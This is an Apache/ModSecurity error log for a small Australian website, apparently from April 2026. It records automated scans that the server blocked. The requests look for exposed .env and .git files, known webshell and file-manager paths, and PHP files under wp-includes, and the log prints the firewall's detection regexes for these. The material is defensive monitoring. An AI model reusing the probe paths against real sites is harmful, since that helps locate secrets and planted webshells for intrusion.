[Sun Apr 19 05:33:24.077491 2026] [:error] [pid 15763:tid 15810] [client 18.216.107.76:37348] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.uat"] [unique_id "aeP4pLMXv1Y1THOoxaAi4AAAAg4"]
[Sun Apr 19 05:33:24.901788 2026] [:error] [pid 47773:tid 47816] [client 18.216.107.76:37354] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dist"] [unique_id "aeP4pOiBHdnCJDuPq9BRlgAAAEA"]
[Sun Apr 19 05:33:25.734441 2026] [:error] [pid 47773:tid 47817] [client 18.216.107.76:37370] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.swp"] [unique_id "aeP4peiBHdnCJDuPq9BRmQAAAEE"]
[Sun Apr 19 05:33:26.553537 2026] [:error] [pid 15760:tid 15788] [client 18.216.107.76:37382] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env~"] [unique_id "aeP4pvSdD_XHQMJ_ISsYKgAAAdQ"]
[Sun Apr 19 05:33:27.392231 2026] [:error] [pid 15763:tid 15819] [client 18.216.107.76:37390] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env"] [unique_id "aeP4p7MXv1Y1THOoxaAi6QAAAhc"]
[Sun Apr 19 05:33:28.222045 2026] [:error] [pid 47886:tid 47907] [client 18.216.107.76:37394] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/apps/.env"] [unique_id "aeP4qESe8yiyuPrD7yPrIwAAANM"]
[Sun Apr 19 05:33:29.055338 2026] [:error] [pid 15694:tid 15742] [client 18.216.107.76:37406] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/api/.env"] [unique_id "aeP4qbimB-jol1fwqAq6oAAAAZA"]
[Sun Apr 19 05:33:29.889772 2026] [:error] [pid 15693:tid 15696] [client 18.216.107.76:37414] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/web/.env"] [unique_id "aeP4qcNMD-ccazQlTskVfAAAAUA"]
[Sun Apr 19 05:33:30.716692 2026] [:error] [pid 15765:tid 15877] [client 18.216.107.76:37416] [client 18.216.107.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/site/.env"] [unique_id "aeP4qvRqinw-W5EwQ76BjgAAApg"]
[Sun Apr 19 07:03:40.649277 2026] [:error] [pid 15764:tid 15850] [client 2.57.122.202:46078] [client 2.57.122.202] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/index"] [unique_id "aeQNzGLL_sqdSHoVp-T5oQAAAlc"]
[Sun Apr 19 07:03:41.253937 2026] [:error] [pid 15765:tid 15872] [client 2.57.122.202:55334] [client 2.57.122.202] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/index"] [unique_id "aeQNzfRqinw-W5EwQ76VYwAAApM"]
[Sun Apr 19 13:25:29.926087 2026] [proxy_fcgi:error] [pid 47772:tid 47799] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:29.953194 2026] [proxy_fcgi:error] [pid 47772:tid 47807] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:29.974094 2026] [proxy_fcgi:error] [pid 47772:tid 47809] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:29.992658 2026] [proxy_fcgi:error] [pid 47772:tid 47813] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.013746 2026] [proxy_fcgi:error] [pid 47772:tid 47794] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.033740 2026] [proxy_fcgi:error] [pid 47772:tid 47806] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.054328 2026] [proxy_fcgi:error] [pid 47772:tid 47808] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.077424 2026] [proxy_fcgi:error] [pid 47772:tid 47791] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.119361 2026] [proxy_fcgi:error] [pid 47772:tid 47803] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.138481 2026] [proxy_fcgi:error] [pid 47772:tid 47792] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.169703 2026] [proxy_fcgi:error] [pid 47772:tid 47800] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.195006 2026] [proxy_fcgi:error] [pid 47772:tid 47802] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.213036 2026] [proxy_fcgi:error] [pid 47772:tid 47805] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.230825 2026] [proxy_fcgi:error] [pid 47772:tid 47812] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.250312 2026] [proxy_fcgi:error] [pid 47772:tid 47796] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.271294 2026] [proxy_fcgi:error] [pid 47772:tid 47790] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.290457 2026] [proxy_fcgi:error] [pid 47772:tid 47810] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.309867 2026] [proxy_fcgi:error] [pid 47772:tid 47799] [client 45.133.5.222:28253] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:30.735470 2026] [:error] [pid 47772:tid 47796] [client 45.133.5.222:28253] [client 45.133.5.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeRnSoc0L16cb4smAz9AlQAAAAc"]
[Sun Apr 19 13:25:30.852051 2026] [:error] [pid 47772:tid 47809] [client 45.133.5.177:24307] [client 45.133.5.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aeRnSoc0L16cb4smAz9AmQAAABQ"]
[Sun Apr 19 13:25:30.954670 2026] [proxy_fcgi:error] [pid 47772:tid 47789] [client 45.133.5.177:20789] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:31.007572 2026] [:error] [pid 47772:tid 47811] [client 45.133.5.177:20789] [client 45.133.5.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeRnS4c0L16cb4smAz9AoQAAABY"]
[Sun Apr 19 13:25:31.067106 2026] [proxy_fcgi:error] [pid 47772:tid 47812] [client 45.133.5.175:44075] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:31.086197 2026] [proxy_fcgi:error] [pid 47772:tid 47790] [client 45.133.5.175:44075] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:31.102804 2026] [:error] [pid 47772:tid 47810] [client 45.133.5.175:44075] [client 45.133.5.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aeRnS4c0L16cb4smAz9ApQAAABU"]
[Sun Apr 19 13:25:31.156892 2026] [proxy_fcgi:error] [pid 47772:tid 47807] [client 45.133.5.228:37513] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:31.294874 2026] [:error] [pid 47772:tid 47789] [client 45.133.5.228:37513] [client 45.133.5.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aeRnS4c0L16cb4smAz9ArAAAAAA"]
[Sun Apr 19 13:25:31.350734 2026] [:error] [pid 47775:tid 47866] [client 45.133.5.221:47309] [client 45.133.5.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aeRnS7mztjlk9tsmoezSAAAAAJc"]
[Sun Apr 19 13:25:31.381845 2026] [:error] [pid 47775:tid 47853] [client 45.133.5.188:59959] [client 45.133.5.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aeRnS7mztjlk9tsmoezSAQAAAIo"]
[Sun Apr 19 13:25:31.413814 2026] [:error] [pid 47775:tid 47851] [client 45.133.5.214:21769] [client 45.133.5.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aeRnS7mztjlk9tsmoezSAgAAAIg"]
[Sun Apr 19 13:25:31.446404 2026] [:error] [pid 47775:tid 47863] [client 45.133.5.177:56663] [client 45.133.5.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aeRnS7mztjlk9tsmoezSAwAAAJQ"]
[Sun Apr 19 13:25:31.477285 2026] [:error] [pid 15760:tid 15783] [client 45.133.5.168:25583] [client 45.133.5.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aeRnS_SdD_XHQMJ_IStb_gAAAc8"]
[Sun Apr 19 13:25:31.525770 2026] [:error] [pid 47772:tid 47800] [client 45.133.5.208:52079] [client 45.133.5.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aeRnS4c0L16cb4smAz9ArwAAAAs"]
[Sun Apr 19 13:25:32.573921 2026] [proxy_fcgi:error] [pid 15764:tid 15840] [client 45.133.5.209:52301] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:32.609016 2026] [:error] [pid 15764:tid 15850] [client 45.133.5.209:52301] [client 45.133.5.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aeRnTGLL_sqdSHoVp-R8fwAAAlc"]
[Sun Apr 19 13:25:32.644961 2026] [proxy_fcgi:error] [pid 15765:tid 15855] [client 45.133.5.195:22603] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:32.663583 2026] [proxy_fcgi:error] [pid 15765:tid 15857] [client 45.133.5.195:22603] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:32.679459 2026] [:error] [pid 15765:tid 15869] [client 45.133.5.195:22603] [client 45.133.5.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aeRnTPRqinw-W5EwQ77GswAAApA"]
[Sun Apr 19 13:25:32.729778 2026] [:error] [pid 15760:tid 15789] [client 45.133.5.219:28161] [client 45.133.5.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aeRnTPSdD_XHQMJ_IStcBQAAAdU"]
[Sun Apr 19 13:25:32.764137 2026] [proxy_fcgi:error] [pid 15764:tid 15834] [client 45.133.5.214:53749] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:33.196022 2026] [:error] [pid 15764:tid 15828] [client 45.133.5.214:53749] [client 45.133.5.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aeRnTWLL_sqdSHoVp-R8ggAAAkI"]
[Sun Apr 19 13:25:33.234141 2026] [proxy_fcgi:error] [pid 47772:tid 47790] [client 45.133.5.209:45125] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:33.296957 2026] [proxy_fcgi:error] [pid 47772:tid 47806] [client 45.133.5.209:45125] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:33.358218 2026] [:error] [pid 47772:tid 47809] [client 45.133.5.209:45125] [client 45.133.5.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aeRnTYc0L16cb4smAz9AtgAAABQ"]
[Sun Apr 19 13:25:33.393019 2026] [proxy_fcgi:error] [pid 47772:tid 47798] [client 45.133.5.209:64665] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:33.410363 2026] [:error] [pid 47772:tid 47794] [client 45.133.5.209:64665] [client 45.133.5.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aeRnTYc0L16cb4smAz9AuAAAAAU"]
[Sun Apr 19 13:25:33.444792 2026] [proxy_fcgi:error] [pid 47772:tid 47803] [client 45.133.5.181:27863] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:33.477925 2026] [:error] [pid 47772:tid 47792] [client 45.133.5.181:27863] [client 45.133.5.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aeRnTYc0L16cb4smAz9AuwAAAAM"]
[Sun Apr 19 13:25:33.527384 2026] [:error] [pid 47772:tid 47791] [client 45.133.5.229:54403] [client 45.133.5.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aeRnTYc0L16cb4smAz9AvQAAAAI"]
[Sun Apr 19 13:25:33.593638 2026] [proxy_fcgi:error] [pid 15764:tid 15846] [client 45.133.5.214:26269] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:33.611893 2026] [proxy_fcgi:error] [pid 15764:tid 15831] [client 45.133.5.214:26269] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:33.645987 2026] [:error] [pid 15764:tid 15837] [client 45.133.5.214:26269] [client 45.133.5.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aeRnTWLL_sqdSHoVp-R8iAAAAks"]
[Sun Apr 19 13:25:33.697320 2026] [:error] [pid 15764:tid 15843] [client 45.133.5.202:56719] [client 45.133.5.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aeRnTWLL_sqdSHoVp-R8igAAAlE"]
[Sun Apr 19 13:25:33.757034 2026] [:error] [pid 15765:tid 15852] [client 45.133.5.182:46399] [client 45.133.5.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aeRnTfRqinw-W5EwQ77GtQAAAoA"]
[Sun Apr 19 13:25:33.789773 2026] [:error] [pid 47886:tid 47898] [client 45.133.5.190:58047] [client 45.133.5.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aeRnTUSe8yiyuPrD7yM9ngAAAMo"]
[Sun Apr 19 13:25:33.836596 2026] [:error] [pid 15763:tid 15804] [client 45.133.5.220:52825] [client 45.133.5.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aeRnTbMXv1Y1THOoxaCUvwAAAgg"]
[Sun Apr 19 13:25:33.916112 2026] [proxy_fcgi:error] [pid 15693:tid 15714] [client 45.133.5.171:45385] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:33.931574 2026] [:error] [pid 15693:tid 15706] [client 45.133.5.171:45385] [client 45.133.5.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aeRnTcNMD-ccazQlTsk3awAAAUo"]
[Sun Apr 19 13:25:33.962007 2026] [:error] [pid 15763:tid 15806] [client 45.133.5.210:47981] [client 45.133.5.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aeRnTbMXv1Y1THOoxaCUwAAAAgo"]
[Sun Apr 19 13:25:33.994086 2026] [:error] [pid 15694:tid 15738] [client 45.133.5.207:62123] [client 45.133.5.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aeRnTbimB-jol1fwqArj8QAAAYw"]
[Sun Apr 19 13:25:34.066063 2026] [proxy_fcgi:error] [pid 15764:tid 15844] [client 45.133.5.207:47759] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:34.105296 2026] [proxy_fcgi:error] [pid 15764:tid 15840] [client 45.133.5.207:47759] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:34.124454 2026] [proxy_fcgi:error] [pid 15764:tid 15838] [client 45.133.5.207:47759] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:34.186670 2026] [:error] [pid 15764:tid 15839] [client 45.133.5.207:47759] [client 45.133.5.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aeRnTmLL_sqdSHoVp-R8lAAAAk0"]
[Sun Apr 19 13:25:35.745306 2026] [:error] [pid 47772:tid 47806] [client 45.133.5.219:64457] [client 45.133.5.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.219, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aeRnT4c0L16cb4smAz9AxAAAABE"]
[Sun Apr 19 13:25:35.764936 2026] [proxy_fcgi:error] [pid 47772:tid 47799] [client 45.133.5.219:64457] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:35.881062 2026] [proxy_fcgi:error] [pid 47772:tid 47808] [client 45.133.5.219:64457] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:35.902426 2026] [proxy_fcgi:error] [pid 47772:tid 47803] [client 45.133.5.219:64457] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 13:25:35.994355 2026] [:error] [pid 47772:tid 47793] [client 45.133.5.219:64457] [client 45.133.5.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aeRnT4c0L16cb4smAz9A0AAAAAQ"]
[Sun Apr 19 13:25:36.053457 2026] [proxy_fcgi:error] [pid 15760:tid 15778] [client 45.133.5.206:27435] AH01071: Got error 'Primary script unknown'
